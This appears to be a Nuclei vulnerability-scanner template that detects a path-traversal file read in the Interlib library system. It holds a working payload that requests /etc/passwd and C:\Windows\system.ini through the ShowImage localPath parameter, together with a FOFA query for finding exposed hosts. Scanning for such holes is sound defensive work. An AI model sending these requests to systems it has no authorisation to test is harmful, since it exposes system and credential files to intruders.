nuclei-templates/http/vulnerabilities/other/interlib-fileread.yaml

43 lines
1.5 KiB
YAML

id: interlib-fileread
info:
name: Interlib - Local File Inclusion
author: pikpikcu
severity: high
description: |
Interlib has an arbitrary file read vulnerability. Attackers can use the vulnerability to read any file.
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AB%99%E7%BE%A4%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
- https://forum.butian.net/article/217
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 2
fofa-query: body="/interlib/common/"
tags: interlib,lfi
http:
- method: GET
path:
- "{{BaseURL}}/interlib/report/ShowImage?localPath=etc/passwd"
- "{{BaseURL}}/interlib/report/ShowImage?localPath=C:\\Windows\\system.ini"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: word
part: header
words:
- image/jpg
- type: status
status:
- 200
# digest: 4a0a00473045022020e8c92e9dee98b852608756e3823fb94ca09b269c2e6002a084b49dad70094c022100de3a3cbd159061a8f12021c6b28585e1f0cc2ee0fe0b310c26d85b526042ea36:922c64590222798bb761d5b6d8e72950